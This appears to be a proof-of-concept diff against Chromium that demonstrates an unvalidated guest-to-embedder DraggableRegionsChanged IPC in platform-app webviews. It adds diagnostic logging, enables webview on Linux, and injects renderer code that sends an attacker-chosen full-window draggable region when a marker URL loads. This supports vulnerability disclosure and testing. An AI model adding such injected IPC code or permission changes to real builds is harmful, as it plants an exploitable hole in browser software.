diff --git a/components/guest_view/browser/guest_view_base.cc b/components/guest_view/browser/guest_view_base.cc
index ba981b25e8682..77c61060a501a 100644
--- a/components/guest_view/browser/guest_view_base.cc
+++ b/components/guest_view/browser/guest_view_base.cc
@@ -11,6 +11,7 @@
 
 #include "base/functional/bind.h"
 #include "base/lazy_instance.h"
+#include "base/logging.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/raw_ptr.h"
 #include "base/notimplemented.h"
@@ -1042,6 +1043,13 @@ void GuestViewBase::DraggableRegionsChanged(
     return;
   }
 
+  // POC OBSERVABILITY (no behavior change): show the WebContents laundering.
+  LOG(ERROR) << "[POC][browser] GuestViewBase::DraggableRegionsChanged "
+             << regions.size() << " region(s) from GUEST WebContents "
+             << static_cast<const void*>(contents)
+             << " -> forwarding with source laundered to EMBEDDER WebContents "
+             << static_cast<const void*>(embedder_web_contents());
+
   embedder_web_contents()->GetDelegate()->DraggableRegionsChanged(
       regions, embedder_web_contents());
 }
diff --git a/extensions/browser/app_window/app_window.cc b/extensions/browser/app_window/app_window.cc
index b704f7e6b76d5..b66e99df89b84 100644
--- a/extensions/browser/app_window/app_window.cc
+++ b/extensions/browser/app_window/app_window.cc
@@ -13,6 +13,7 @@
 #include <vector>
 
 #include "base/functional/bind.h"
+#include "base/logging.h"
 #include "base/strings/string_util.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/task/task_runner.h"
@@ -622,6 +623,13 @@ void AppWindow::DraggableRegionsChanged(
       << "Received DraggableRegionsChanged() notification for unexpected web "
          "contents";
 
+  // POC OBSERVABILITY (no behavior change): the CHECK_EQ above is the
+  // source-validation guard; reaching this line means it passed.
+  LOG(ERROR) << "[POC][browser] AppWindow::DraggableRegionsChanged: "
+                "CHECK_EQ(contents, web_contents()) PASSED for "
+             << static_cast<const void*>(contents) << " — applying "
+             << regions.size() << " region(s) to native app window";
+
   native_app_window_->DraggableRegionsChanged(regions);
 
   if (on_update_draggable_regions_callback_for_testing_) {
diff --git a/extensions/common/api/_permission_features.json b/extensions/common/api/_permission_features.json
index 865f75eb373aa..e3df346052544 100644
--- a/extensions/common/api/_permission_features.json
+++ b/extensions/common/api/_permission_features.json
@@ -746,7 +746,11 @@
   "webview": {
     "channel": "stable",
     "extension_types": ["platform_app"],
-    "platforms": ["chromeos"]
+    // POC ENVIRONMENT SIMULATION: <webview> in platform apps is ChromeOS-only
+    // since crrev dfa28c4 (2026-05-13). "linux" is added so the POC can
+    // demonstrate the ChromeOS-production code path on this Linux host. The
+    // vulnerable code (GuestViewBase / AppWindow) is identical on both.
+    "platforms": ["chromeos", "linux"]
   },
   "webRequest": [
     {
diff --git a/extensions/components/native_app_window/native_app_window_views.cc b/extensions/components/native_app_window/native_app_window_views.cc
index b45ba6277b90a..35319b96c3cba 100644
--- a/extensions/components/native_app_window/native_app_window_views.cc
+++ b/extensions/components/native_app_window/native_app_window_views.cc
@@ -5,6 +5,7 @@
 #include "extensions/components/native_app_window/native_app_window_views.h"
 
 #include "base/functional/bind.h"
+#include "base/logging.h"
 #include "base/observer_list_types.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/render_widget_host.h"
@@ -323,6 +324,15 @@ void NativeAppWindowViews::DraggableRegionsChanged(
 
   draggable_region_.reset(
       extensions::AppWindow::RawDraggableRegionsToSkRegion(regions));
+  // POC OBSERVABILITY (no behavior change): dump the stored HTCAPTION region.
+  if (draggable_region_) {
+    const SkIRect& b = draggable_region_->getBounds();
+    LOG(ERROR) << "[POC][browser] NativeAppWindowViews stored "
+                  "draggable_region_ bounds = ["
+               << b.fLeft << "," << b.fTop << "," << b.fRight << ","
+               << b.fBottom
+               << "] — entire embedder window now reports HTCAPTION";
+  }
   OnViewWasResized();
 }
 
diff --git a/third_party/blink/renderer/core/exported/web_view_impl.cc b/third_party/blink/renderer/core/exported/web_view_impl.cc
index 45a11bc1e38bb..4fda198795698 100644
--- a/third_party/blink/renderer/core/exported/web_view_impl.cc
+++ b/third_party/blink/renderer/core/exported/web_view_impl.cc
@@ -1203,6 +1203,28 @@ void WebViewImpl::ResizeVisualViewport(const gfx::Size& new_size) {
 void WebViewImpl::DidFirstVisuallyNonEmptyPaint() {
   DCHECK(MainFrameImpl());
   local_main_frame_host_remote_->DidFirstVisuallyNonEmptyPaint();
+
+  // ---------------------------------------------------------------------------
+  // POC INJECTION (Strategy B): simulate a compromised guest renderer.
+  // When the main-frame document URL carries the marker fragment, send a
+  // LocalMainFrameHost::DraggableRegionsChanged IPC with an attacker-chosen
+  // region. In production this renderer never has supports_draggable_regions_
+  // set, so this IPC would only originate from a renderer that has been
+  // compromised. The browser-side handler does not validate that.
+  // ---------------------------------------------------------------------------
+  if (MainFrameImpl()) {
+    std::string url = MainFrameImpl()->GetDocument().Url().GetString().Utf8();
+    if (url.find("poc-guest-draggable-regions") != std::string::npos) {
+      LOG(ERROR)
+          << "[POC][renderer] guest renderer (url=" << url
+          << ") sending malicious DraggableRegionsChanged IPC: "
+             "{bounds=0,0,10000,10000 draggable=true}";
+      auto regions = Vector<mojom::blink::DraggableRegionPtr>();
+      regions.push_back(mojom::blink::DraggableRegion::New(
+          gfx::Rect(0, 0, 10000, 10000), /*draggable=*/true));
+      local_main_frame_host_remote_->DraggableRegionsChanged(std::move(regions));
+    }
+  }
 }
 
 void WebViewImpl::OnFirstContentfulPaint(const base::TimeDelta& duration) {